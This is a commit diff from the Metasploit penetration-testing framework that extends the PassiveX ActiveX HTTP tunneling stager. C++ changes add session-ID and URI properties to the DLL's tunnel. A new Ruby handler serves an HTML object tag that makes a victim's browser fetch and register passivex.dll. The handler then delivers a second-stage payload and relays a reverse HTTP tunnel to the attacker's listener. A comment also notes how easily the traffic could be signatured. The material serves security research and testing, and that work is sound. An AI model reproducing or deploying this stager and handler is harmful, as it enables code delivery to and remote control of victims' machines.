various enhancements to support passivex, seems to be functional, somewhat
git-svn-id: file:///home/svn/incoming/trunk@3322 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
daf5eebd28
commit
ae5c816e85
Binary file not shown.
|
@ -52,6 +52,34 @@ HRESULT CPassiveX::put_HttpHost(BSTR Host)
|
||||||
return S_OK;
|
return S_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
HRESULT CPassiveX::get_HttpSid(BSTR *Sid)
|
||||||
|
{
|
||||||
|
*Sid = PropHttpSid;
|
||||||
|
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT CPassiveX::put_HttpSid(BSTR Sid)
|
||||||
|
{
|
||||||
|
PropHttpSid = Sid;
|
||||||
|
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT CPassiveX::get_HttpUriBase(BSTR *UriBase)
|
||||||
|
{
|
||||||
|
*UriBase = PropHttpUriBase;
|
||||||
|
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT CPassiveX::put_HttpUriBase(BSTR UriBase)
|
||||||
|
{
|
||||||
|
PropHttpUriBase = UriBase;
|
||||||
|
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
HRESULT CPassiveX::get_HttpPort(ULONG *Port)
|
HRESULT CPassiveX::get_HttpPort(ULONG *Port)
|
||||||
{
|
{
|
||||||
*Port = PropHttpPort;
|
*Port = PropHttpPort;
|
||||||
|
@ -159,6 +187,8 @@ VOID CPassiveX::Initialize()
|
||||||
{
|
{
|
||||||
Tunnel.Start(
|
Tunnel.Start(
|
||||||
OLE2A(PropHttpHost),
|
OLE2A(PropHttpHost),
|
||||||
|
OLE2A(PropHttpUriBase),
|
||||||
|
OLE2A(PropHttpSid),
|
||||||
(USHORT)PropHttpPort);
|
(USHORT)PropHttpPort);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -73,6 +73,8 @@ class ATL_NO_VTABLE CPassiveX :
|
||||||
BEGIN_PROPERTY_MAP(CPassiveX)
|
BEGIN_PROPERTY_MAP(CPassiveX)
|
||||||
PROP_ENTRY("HttpHost", PASSIVEX_PROPERTY_HTTP_HOST, CLSID_NULL)
|
PROP_ENTRY("HttpHost", PASSIVEX_PROPERTY_HTTP_HOST, CLSID_NULL)
|
||||||
PROP_ENTRY("HttpPort", PASSIVEX_PROPERTY_HTTP_PORT, CLSID_NULL)
|
PROP_ENTRY("HttpPort", PASSIVEX_PROPERTY_HTTP_PORT, CLSID_NULL)
|
||||||
|
PROP_ENTRY("HttpSid", PASSIVEX_PROPERTY_HTTP_SID, CLSID_NULL)
|
||||||
|
PROP_ENTRY("HttpUriBase", PASSIVEX_PROPERTY_HTTP_URI_BASE, CLSID_NULL)
|
||||||
PROP_ENTRY("DownloadSecondStage", PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE, CLSID_NULL)
|
PROP_ENTRY("DownloadSecondStage", PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE, CLSID_NULL)
|
||||||
END_PROPERTY_MAP()
|
END_PROPERTY_MAP()
|
||||||
|
|
||||||
|
@ -82,6 +84,10 @@ class ATL_NO_VTABLE CPassiveX :
|
||||||
// IPassiveX
|
// IPassiveX
|
||||||
STDMETHOD(get_HttpHost)(BSTR *Host);
|
STDMETHOD(get_HttpHost)(BSTR *Host);
|
||||||
STDMETHOD(put_HttpHost)(BSTR Host);
|
STDMETHOD(put_HttpHost)(BSTR Host);
|
||||||
|
STDMETHOD(get_HttpSid)(BSTR *Sid);
|
||||||
|
STDMETHOD(put_HttpSid)(BSTR Sid);
|
||||||
|
STDMETHOD(get_HttpUriBase)(BSTR *UriBase);
|
||||||
|
STDMETHOD(put_HttpUriBase)(BSTR UriBase);
|
||||||
STDMETHOD(get_HttpPort)(ULONG *Port);
|
STDMETHOD(get_HttpPort)(ULONG *Port);
|
||||||
STDMETHOD(put_HttpPort)(ULONG Port);
|
STDMETHOD(put_HttpPort)(ULONG Port);
|
||||||
STDMETHOD(get_DownloadSecondStage)(ULONG *Port);
|
STDMETHOD(get_DownloadSecondStage)(ULONG *Port);
|
||||||
|
@ -105,6 +111,8 @@ class ATL_NO_VTABLE CPassiveX :
|
||||||
|
|
||||||
// Properties
|
// Properties
|
||||||
CComBSTR PropHttpHost;
|
CComBSTR PropHttpHost;
|
||||||
|
CComBSTR PropHttpSid;
|
||||||
|
CComBSTR PropHttpUriBase;
|
||||||
ULONG PropHttpPort;
|
ULONG PropHttpPort;
|
||||||
|
|
||||||
// Tunnel
|
// Tunnel
|
||||||
|
|
|
@ -11,6 +11,8 @@ static DWORD FailedConnections = 0;
|
||||||
|
|
||||||
HttpTunnel::HttpTunnel()
|
HttpTunnel::HttpTunnel()
|
||||||
: HttpHost(NULL),
|
: HttpHost(NULL),
|
||||||
|
HttpUriBase(NULL),
|
||||||
|
HttpSid(NULL),
|
||||||
HttpPort(0),
|
HttpPort(0),
|
||||||
LocalTcpListener(0),
|
LocalTcpListener(0),
|
||||||
LocalTcpClientSide(0),
|
LocalTcpClientSide(0),
|
||||||
|
@ -43,6 +45,8 @@ HttpTunnel::~HttpTunnel()
|
||||||
*/
|
*/
|
||||||
DWORD HttpTunnel::Start(
|
DWORD HttpTunnel::Start(
|
||||||
IN LPSTR InHttpHost,
|
IN LPSTR InHttpHost,
|
||||||
|
IN LPSTR InHttpUriBase,
|
||||||
|
IN LPSTR InHttpSid,
|
||||||
IN USHORT InHttpPort)
|
IN USHORT InHttpPort)
|
||||||
{
|
{
|
||||||
DWORD ThreadId;
|
DWORD ThreadId;
|
||||||
|
@ -57,6 +61,28 @@ DWORD HttpTunnel::Start(
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if ((InHttpSid) &&
|
||||||
|
(InHttpSid[0]) &&
|
||||||
|
(!(HttpSid = strdup(InHttpSid))))
|
||||||
|
{
|
||||||
|
Result = ERROR_NOT_ENOUGH_MEMORY;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((InHttpUriBase) &&
|
||||||
|
(InHttpUriBase[0]) &&
|
||||||
|
(!(HttpUriBase = strdup(InHttpUriBase))))
|
||||||
|
{
|
||||||
|
Result = ERROR_NOT_ENOUGH_MEMORY;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Eliminate any trailing slashes as to prevent potential problems. If
|
||||||
|
// HttpUriBase is just "/", then it'll become virtuall unused.
|
||||||
|
if ((HttpUriBase) &&
|
||||||
|
(HttpUriBase[strlen(HttpUriBase) - 1] == '/'))
|
||||||
|
HttpUriBase[strlen(HttpUriBase) - 1] = 0;
|
||||||
|
|
||||||
HttpPort = InHttpPort;
|
HttpPort = InHttpPort;
|
||||||
|
|
||||||
// Acquire the internet context handle
|
// Acquire the internet context handle
|
||||||
|
@ -407,6 +433,18 @@ DWORD HttpTunnel::TransmitHttpRequest(
|
||||||
UCHAR ReadBuffer[8192];
|
UCHAR ReadBuffer[8192];
|
||||||
DWORD ReadBufferLength;
|
DWORD ReadBufferLength;
|
||||||
DWORD Result = ERROR_SUCCESS;
|
DWORD Result = ERROR_SUCCESS;
|
||||||
|
PCHAR AdditionalHeaders = NULL;
|
||||||
|
CHAR FullUri[1024];
|
||||||
|
|
||||||
|
// Construct the full URI
|
||||||
|
if (HttpUriBase && HttpUriBase[0])
|
||||||
|
_snprintf(FullUri, sizeof(FullUri) - 1,
|
||||||
|
"%s/%s",
|
||||||
|
HttpUriBase, Uri);
|
||||||
|
else
|
||||||
|
strncpy(FullUri, Uri, sizeof(FullUri) - 1);
|
||||||
|
|
||||||
|
FullUri[sizeof(FullUri) - 1] = 0;
|
||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
|
@ -443,7 +481,7 @@ DWORD HttpTunnel::TransmitHttpRequest(
|
||||||
if (!(RequestHandle = HttpOpenRequest(
|
if (!(RequestHandle = HttpOpenRequest(
|
||||||
ConnectHandle,
|
ConnectHandle,
|
||||||
Method ? Method : TEXT("GET"),
|
Method ? Method : TEXT("GET"),
|
||||||
Uri,
|
FullUri,
|
||||||
NULL,
|
NULL,
|
||||||
NULL,
|
NULL,
|
||||||
NULL,
|
NULL,
|
||||||
|
@ -454,6 +492,17 @@ DWORD HttpTunnel::TransmitHttpRequest(
|
||||||
Result = GetLastError();
|
Result = GetLastError();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// If we were assigned an HTTP session identifier, then allocate an
|
||||||
|
// additional header for transmission to the remote side.
|
||||||
|
if (HttpSid)
|
||||||
|
{
|
||||||
|
// Yeah, I'm lame, this is easy to sig. Improve me if you care!
|
||||||
|
if ((AdditionalHeaders = (PCHAR)malloc(strlen(HttpSid) + 32)))
|
||||||
|
sprintf(AdditionalHeaders,
|
||||||
|
"X-Sid: sid=%s\r\n",
|
||||||
|
HttpSid);
|
||||||
|
}
|
||||||
|
|
||||||
PROFILE_CHECKPOINT("HttpOpenRequest <==");
|
PROFILE_CHECKPOINT("HttpOpenRequest <==");
|
||||||
PROFILE_CHECKPOINT("HttpSendRequest ==>");
|
PROFILE_CHECKPOINT("HttpSendRequest ==>");
|
||||||
|
@ -461,8 +510,8 @@ DWORD HttpTunnel::TransmitHttpRequest(
|
||||||
// Send and endthe request
|
// Send and endthe request
|
||||||
if ((!HttpSendRequest(
|
if ((!HttpSendRequest(
|
||||||
RequestHandle,
|
RequestHandle,
|
||||||
NULL,
|
AdditionalHeaders,
|
||||||
0,
|
(AdditionalHeaders) ? -1L : 0,
|
||||||
RequestPayload,
|
RequestPayload,
|
||||||
RequestPayloadLength)))
|
RequestPayloadLength)))
|
||||||
{
|
{
|
||||||
|
@ -561,6 +610,8 @@ DWORD HttpTunnel::TransmitHttpRequest(
|
||||||
if (ConnectHandle)
|
if (ConnectHandle)
|
||||||
InternetCloseHandle(
|
InternetCloseHandle(
|
||||||
ConnectHandle);
|
ConnectHandle);
|
||||||
|
if (AdditionalHeaders)
|
||||||
|
free(AdditionalHeaders);
|
||||||
|
|
||||||
// Set the output pointers or free up the output buffer
|
// Set the output pointers or free up the output buffer
|
||||||
if (Result == ERROR_SUCCESS)
|
if (Result == ERROR_SUCCESS)
|
||||||
|
|
|
@ -27,6 +27,8 @@ class HttpTunnel
|
||||||
// Initialization
|
// Initialization
|
||||||
DWORD Start(
|
DWORD Start(
|
||||||
IN LPSTR HttpHost,
|
IN LPSTR HttpHost,
|
||||||
|
IN LPSTR HttpUriBase,
|
||||||
|
IN LPSTR HttpSid,
|
||||||
IN USHORT HttpPort);
|
IN USHORT HttpPort);
|
||||||
DWORD Stop();
|
DWORD Stop();
|
||||||
protected:
|
protected:
|
||||||
|
@ -71,6 +73,8 @@ class HttpTunnel
|
||||||
|
|
||||||
// Remote host information
|
// Remote host information
|
||||||
LPSTR HttpHost;
|
LPSTR HttpHost;
|
||||||
|
LPSTR HttpUriBase;
|
||||||
|
LPSTR HttpSid;
|
||||||
USHORT HttpPort;
|
USHORT HttpPort;
|
||||||
|
|
||||||
// Sockets
|
// Sockets
|
||||||
|
|
|
@ -5,6 +5,8 @@ enum PassiveXProperties
|
||||||
{
|
{
|
||||||
PASSIVEX_PROPERTY_HTTP_HOST = 1,
|
PASSIVEX_PROPERTY_HTTP_HOST = 1,
|
||||||
PASSIVEX_PROPERTY_HTTP_PORT = 2,
|
PASSIVEX_PROPERTY_HTTP_PORT = 2,
|
||||||
|
PASSIVEX_PROPERTY_HTTP_SID = 4,
|
||||||
|
PASSIVEX_PROPERTY_HTTP_URI_BASE = 5,
|
||||||
PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE = 3,
|
PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE = 3,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
@ -19,6 +21,10 @@ interface IPassiveX : IDispatch
|
||||||
{
|
{
|
||||||
[propput, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([in] BSTR host);
|
[propput, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([in] BSTR host);
|
||||||
[propget, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([out, retval] BSTR *host);
|
[propget, id(PASSIVEX_PROPERTY_HTTP_HOST)] HRESULT HttpHost([out, retval] BSTR *host);
|
||||||
|
[propput, id(PASSIVEX_PROPERTY_HTTP_SID)] HRESULT HttpSid([in] BSTR sid);
|
||||||
|
[propget, id(PASSIVEX_PROPERTY_HTTP_SID)] HRESULT HttpSid([out, retval] BSTR *sid);
|
||||||
|
[propput, id(PASSIVEX_PROPERTY_HTTP_URI_BASE)] HRESULT HttpUriBase([in] BSTR base);
|
||||||
|
[propget, id(PASSIVEX_PROPERTY_HTTP_URI_BASE)] HRESULT HttpUriBase([out, retval] BSTR *base);
|
||||||
[propput, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([in] ULONG port);
|
[propput, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([in] ULONG port);
|
||||||
[propget, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([out, retval] ULONG *port);
|
[propget, id(PASSIVEX_PROPERTY_HTTP_PORT)] HRESULT HttpPort([out, retval] ULONG *port);
|
||||||
[propput, id(PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE)] HRESULT DownloadSecondStage([in] ULONG na);
|
[propput, id(PASSIVEX_PROPERTY_DOWNLOAD_SECOND_STAGE)] HRESULT DownloadSecondStage([in] ULONG na);
|
||||||
|
|
|
@ -68,8 +68,8 @@ IDR_PASSIVEX REGISTRY DISCARDABLE "PassiveX.bin"
|
||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,0,0
|
FILEVERSION 3,0,0,0
|
||||||
PRODUCTVERSION 1,0,0,0
|
PRODUCTVERSION 3,0,0,0
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
FILEFLAGS 0x1L
|
FILEFLAGS 0x1L
|
||||||
|
@ -87,14 +87,14 @@ BEGIN
|
||||||
VALUE "Comments", "\0"
|
VALUE "Comments", "\0"
|
||||||
VALUE "CompanyName", "Metasploit\0"
|
VALUE "CompanyName", "Metasploit\0"
|
||||||
VALUE "FileDescription", "PassiveX HTTP Tunneling Stager\0"
|
VALUE "FileDescription", "PassiveX HTTP Tunneling Stager\0"
|
||||||
VALUE "FileVersion", "1, 0, 0, 0\0"
|
VALUE "FileVersion", "3, 0, 0, 0\0"
|
||||||
VALUE "InternalName", "PassiveX\0"
|
VALUE "InternalName", "PassiveX\0"
|
||||||
VALUE "LegalCopyright", "Copyright © 2005 Metasploit\0"
|
VALUE "LegalCopyright", "Copyright © 2005 Metasploit\0"
|
||||||
VALUE "LegalTrademarks", "\0"
|
VALUE "LegalTrademarks", "\0"
|
||||||
VALUE "OriginalFilename", "PassiveX.dll\0"
|
VALUE "OriginalFilename", "PassiveX.dll\0"
|
||||||
VALUE "PrivateBuild", "\0"
|
VALUE "PrivateBuild", "\0"
|
||||||
VALUE "ProductName", "Metasploit\0"
|
VALUE "ProductName", "Metasploit\0"
|
||||||
VALUE "ProductVersion", "1, 0, 0, 0\0"
|
VALUE "ProductVersion", "3, 0, 0, 0\0"
|
||||||
VALUE "SpecialBuild", "\0"
|
VALUE "SpecialBuild", "\0"
|
||||||
END
|
END
|
||||||
END
|
END
|
||||||
|
|
|
@ -187,6 +187,8 @@ protected
|
||||||
rescue ::Exception
|
rescue ::Exception
|
||||||
elog("Exploit failed: #{$!}", 'core', LEV_0)
|
elog("Exploit failed: #{$!}", 'core', LEV_0)
|
||||||
|
|
||||||
|
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
|
||||||
|
|
||||||
payload.stop_handler
|
payload.stop_handler
|
||||||
exploit.cleanup
|
exploit.cleanup
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,389 @@
|
||||||
|
require 'rex/io/stream_abstraction'
|
||||||
|
require 'rex/sync/ref'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Handler
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This handler implements the PassiveX reverse HTTP tunneling interface.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module PassiveX
|
||||||
|
|
||||||
|
include Msf::Handler
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This class wrappers the communication channel built over the HTTP
|
||||||
|
# communication protocol between a local session and the remote HTTP
|
||||||
|
# client.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class PxSessionChannel
|
||||||
|
|
||||||
|
include Rex::IO::StreamAbstraction
|
||||||
|
|
||||||
|
def initialize(sid)
|
||||||
|
@sid = sid
|
||||||
|
@remote_queue = ''
|
||||||
|
|
||||||
|
initialize_abstraction
|
||||||
|
|
||||||
|
# Start a thread that monitors the local side of the pipe and writes
|
||||||
|
# data from it to the remote side.
|
||||||
|
@monitor_thread = Thread.new {
|
||||||
|
begin
|
||||||
|
while true
|
||||||
|
if ((rsock.has_read_data?) and
|
||||||
|
(buf = rsock.get))
|
||||||
|
write_remote(buf)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue ::Exception
|
||||||
|
end
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Closes the stream abstraction and kills the monitor thread.
|
||||||
|
#
|
||||||
|
def close
|
||||||
|
@monitor_thread.kill if (@monitor_thread)
|
||||||
|
@monitor_thread = nil
|
||||||
|
|
||||||
|
cleanup_abstraction
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the remote HTTP client that is to be used for tunneling output
|
||||||
|
# data to the client side.
|
||||||
|
#
|
||||||
|
def remote=(cli)
|
||||||
|
# If we already have a remote, then close it now that we have a new
|
||||||
|
# one.
|
||||||
|
if (@remote)
|
||||||
|
begin
|
||||||
|
@remote.server.close_client(@remote)
|
||||||
|
rescue ::Exception
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
@remote = cli
|
||||||
|
|
||||||
|
flush_output
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Writes data to the local side of the abstraction that comes in from
|
||||||
|
# the remote.
|
||||||
|
#
|
||||||
|
def write_local(buf)
|
||||||
|
rsock.put(buf)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Writes data to the remote HTTP client via an indirect queue.
|
||||||
|
#
|
||||||
|
def write_remote(buf)
|
||||||
|
@remote_queue += buf
|
||||||
|
|
||||||
|
flush_output
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Flushes the output queue if there is an associated output HTTP client.
|
||||||
|
#
|
||||||
|
def flush_output
|
||||||
|
return if (@remote_queue == nil or @remote_queue.length == 0)
|
||||||
|
|
||||||
|
resp = Rex::Proto::Http::Response.new
|
||||||
|
resp.body = @remote_queue
|
||||||
|
|
||||||
|
begin
|
||||||
|
if (@remote)
|
||||||
|
@remote.send_response(resp)
|
||||||
|
@remote = nil
|
||||||
|
@remote_queue = ''
|
||||||
|
end
|
||||||
|
rescue ::Exception
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# A PassiveX mixin that is used to extend the Msf::Session class in order
|
||||||
|
# to add a reference to the payload handler that created the session in a
|
||||||
|
# guaranteed fashion. In turn, the cleanup routine for the session is
|
||||||
|
# modified to call deref_handler on the payload handler if it's defined.
|
||||||
|
# This is done to ensure that the tunneling handler stays running while
|
||||||
|
# there are sessions that still have references to it.
|
||||||
|
#
|
||||||
|
module PxSession
|
||||||
|
|
||||||
|
def payload_handler=(p)
|
||||||
|
@payload_handler = p
|
||||||
|
end
|
||||||
|
|
||||||
|
def cleanup
|
||||||
|
super
|
||||||
|
|
||||||
|
@payload_handler.deref_handler if (@payload_handler)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Class for wrapping reference counting a specific object for passivex.
|
||||||
|
#
|
||||||
|
class PxRef
|
||||||
|
def initialize
|
||||||
|
refinit
|
||||||
|
end
|
||||||
|
|
||||||
|
include Rex::Ref
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the string representation of the handler type, in this case
|
||||||
|
# 'reverse_http'.
|
||||||
|
#
|
||||||
|
def self.handler_type
|
||||||
|
return "reverse_http"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the connection-described general handler type, in this case
|
||||||
|
# 'tunnel'.
|
||||||
|
#
|
||||||
|
def self.general_handler_type
|
||||||
|
"tunnel"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Initializes the PassiveX HTTP tunneling handler.
|
||||||
|
#
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptAddress.new('PXHOST', [ true, "The local HTTP listener hostname" ]),
|
||||||
|
OptPort.new('PXPORT', [ true, "The local HTTP listener port", 8080 ]),
|
||||||
|
OptString.new('PXURI', [ true, "The URI root for requests", "/" ]),
|
||||||
|
OptPath.new('PXAXDLL', [ true, "ActiveX DLL to inject", File.join(Msf::Config.install_root, "data", "passivex", "passivex.dll") ]),
|
||||||
|
OptString.new('PXAXCLSID', [ true, "ActiveX CLSID", "B3AC7307-FEAE-4e43-B2D6-161E68ABA838" ]),
|
||||||
|
OptString.new('PXAXVER', [ true, "ActiveX DLL Version", "-1,-1,-1,-1" ]),
|
||||||
|
], Msf::Handler::PassiveX)
|
||||||
|
|
||||||
|
# Initialize the start of the localized SID pool
|
||||||
|
self.sid_pool = 0
|
||||||
|
self.session_channels = Hash.new
|
||||||
|
self.handler_ref = PxRef.new
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Create an HTTP listener that will be connected to and communicated with
|
||||||
|
# by the payload that is injected, and possibly used for tunneling
|
||||||
|
# purposes.
|
||||||
|
#
|
||||||
|
def setup_handler
|
||||||
|
# Start the HTTP server service on this host/port
|
||||||
|
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
||||||
|
datastore['PXPORT'].to_i, datastore['PXHOST'])
|
||||||
|
|
||||||
|
# Add the new resource
|
||||||
|
service.add_resource(datastore['PXURI'],
|
||||||
|
'Proc' => Proc.new { |cli, req|
|
||||||
|
on_request(cli, req)
|
||||||
|
},
|
||||||
|
'VirtualDirectory' => true)
|
||||||
|
|
||||||
|
dlog("PassiveX listener started on http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}", 'core', LEV_2)
|
||||||
|
|
||||||
|
print_status("PassiveX listener started.")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Simply calls stop handler to ensure that things ar ecool.
|
||||||
|
#
|
||||||
|
def cleanup_handler
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Basically does nothing. The service is already started and listening
|
||||||
|
# during set up.
|
||||||
|
#
|
||||||
|
def start_handler
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Stops the service and deinitializes it.
|
||||||
|
#
|
||||||
|
def stop_handler
|
||||||
|
deref_handler
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# PassiveX payloads have a wait-for-session delay of 30 seconds minimum
|
||||||
|
# because it can take a bit of time for the OCX to get registered.
|
||||||
|
#
|
||||||
|
def wfs_delay
|
||||||
|
30
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Called when a new session is created on behalf of this handler. In this
|
||||||
|
# case, we extend the session so that we can track references to the
|
||||||
|
# handler since we need to keep the HTTP tunnel up while the session is
|
||||||
|
# alive.
|
||||||
|
#
|
||||||
|
def on_session(session)
|
||||||
|
super
|
||||||
|
|
||||||
|
# Extend the session, increment handler references, and set up the
|
||||||
|
# session payload handler.
|
||||||
|
session.extend(PxSession)
|
||||||
|
|
||||||
|
handler_ref.ref
|
||||||
|
|
||||||
|
session.payload_handler = self
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Decrement the references to the handler that was used by this exploit.
|
||||||
|
# If it reaches zero, stop it.
|
||||||
|
#
|
||||||
|
def deref_handler
|
||||||
|
if (handler_ref.deref)
|
||||||
|
if (service)
|
||||||
|
Rex::ServiceManager.stop_service(service)
|
||||||
|
|
||||||
|
self.service.deref
|
||||||
|
self.service = nil
|
||||||
|
|
||||||
|
print_status("PassiveX listener stopped.")
|
||||||
|
end
|
||||||
|
|
||||||
|
flush_session_channels
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
attr_accessor :service # :nodoc:
|
||||||
|
attr_accessor :sid_pool # :nodoc:
|
||||||
|
attr_accessor :session_channels # :nodoc:
|
||||||
|
attr_accessor :handler_ref # :nodoc:
|
||||||
|
|
||||||
|
#
|
||||||
|
# Processes the HTTP request from the PassiveX client. In this case, when
|
||||||
|
# a request is made to "/", an HTML body is sent that has an embedded
|
||||||
|
# object tag. This causes the passivex.dll to be downloaded and
|
||||||
|
# registered (since registration and downloading have been enabled prior to
|
||||||
|
# this point). After that, the OCX may create a tunnel or download a
|
||||||
|
# second stage if instructed by the server.
|
||||||
|
#
|
||||||
|
def on_request(cli, req)
|
||||||
|
sid = nil
|
||||||
|
resp = Rex::Proto::Http::Response.new
|
||||||
|
|
||||||
|
# Grab the SID if one was supplied in the request header.
|
||||||
|
if (req['X-Sid'] and
|
||||||
|
(m = req['X-Sid'].match(/sid=(\d+?)/)))
|
||||||
|
sid = m[1]
|
||||||
|
end
|
||||||
|
|
||||||
|
# Process the requested resource.
|
||||||
|
case req.relative_resource
|
||||||
|
when "/"
|
||||||
|
# Get a new sid
|
||||||
|
self.sid_pool += 1
|
||||||
|
nsid = sid_pool
|
||||||
|
|
||||||
|
resp['Content-Type'] = 'text/html'
|
||||||
|
resp.body =
|
||||||
|
"<html>" +
|
||||||
|
" <object classid=\"CLSID:#{datastore['PXAXCLSID']}\" codebase=\"passivex.dll##{datastore['PXAXVER']}\">" +
|
||||||
|
" <param name=\"HttpHost\" value=\"#{datastore['PXHOST']}\">" +
|
||||||
|
" <param name=\"HttpPort\" value=\"#{datastore['PXPORT']}\">" +
|
||||||
|
" <param name=\"HttpUriBase\" value=\"#{datastore['PXURI']}\">" +
|
||||||
|
" <param name=\"HttpSid\" value=\"#{nsid}\">" +
|
||||||
|
((stage_payload) ?
|
||||||
|
" <param name=\"DownloadSecondStage\" value=\"1\">" : "") +
|
||||||
|
" </object>" +
|
||||||
|
"</html>"
|
||||||
|
|
||||||
|
# Create a new local PX session with the supplied sid
|
||||||
|
new_session_channel(nsid)
|
||||||
|
|
||||||
|
print_status("Sending PassiveX main page to client")
|
||||||
|
when "/passivex.dll"
|
||||||
|
resp['Content-Type'] = 'application/octet-stream'
|
||||||
|
resp.body = IO.readlines(datastore['PXAXDLL']).join
|
||||||
|
|
||||||
|
print_status("Sending PassiveX DLL (#{resp.body.length} bytes)")
|
||||||
|
when "/stage"
|
||||||
|
resp.body = generate_stage
|
||||||
|
|
||||||
|
# Now that we've transmitted a second stage, it's time to indicate
|
||||||
|
# that we've found a new session. We call handle_connection using
|
||||||
|
# the lsock of the local stream.
|
||||||
|
if (s = find_session_channel(sid))
|
||||||
|
Thread.new {
|
||||||
|
begin
|
||||||
|
handle_connection(s.lsock)
|
||||||
|
rescue ::Exception
|
||||||
|
elog("Exception raised during PX handle connection: #{$!}", 'core', LEV_1)
|
||||||
|
|
||||||
|
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3)
|
||||||
|
end
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Sending second stage (#{resp.body.length} bytes to sid: #{sid}")
|
||||||
|
when "/tunnel_in"
|
||||||
|
s.write_local(req.body) if (s = find_session_channel(sid))
|
||||||
|
when "/tunnel_out"
|
||||||
|
cli.keepalive = true
|
||||||
|
resp = nil
|
||||||
|
|
||||||
|
s.remote = cli if (s = find_session_channel(sid))
|
||||||
|
else
|
||||||
|
resp.code = 404
|
||||||
|
resp.message = "Not found"
|
||||||
|
end
|
||||||
|
|
||||||
|
cli.send_response(resp) if (resp)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Creates a new session with the supplied sid.
|
||||||
|
#
|
||||||
|
def new_session_channel(sid)
|
||||||
|
self.session_channels[sid.to_i] = PxSessionChannel.new(sid)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Finds a session based on the supplied sid
|
||||||
|
#
|
||||||
|
def find_session_channel(sid)
|
||||||
|
session_channels[sid.to_i]
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Flushes all existing session_channels and cleans up any resources associated with
|
||||||
|
# them.
|
||||||
|
#
|
||||||
|
def flush_session_channels
|
||||||
|
session_channels.each_pair { |sid, session|
|
||||||
|
session.close
|
||||||
|
}
|
||||||
|
|
||||||
|
session_channels = Hash.new
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -43,9 +43,17 @@ module Msf::Payload::Stager
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Transmit the associated stage.
|
# Whether or not any stages associated with this stager should be sent over
|
||||||
|
# the connection that is established.
|
||||||
#
|
#
|
||||||
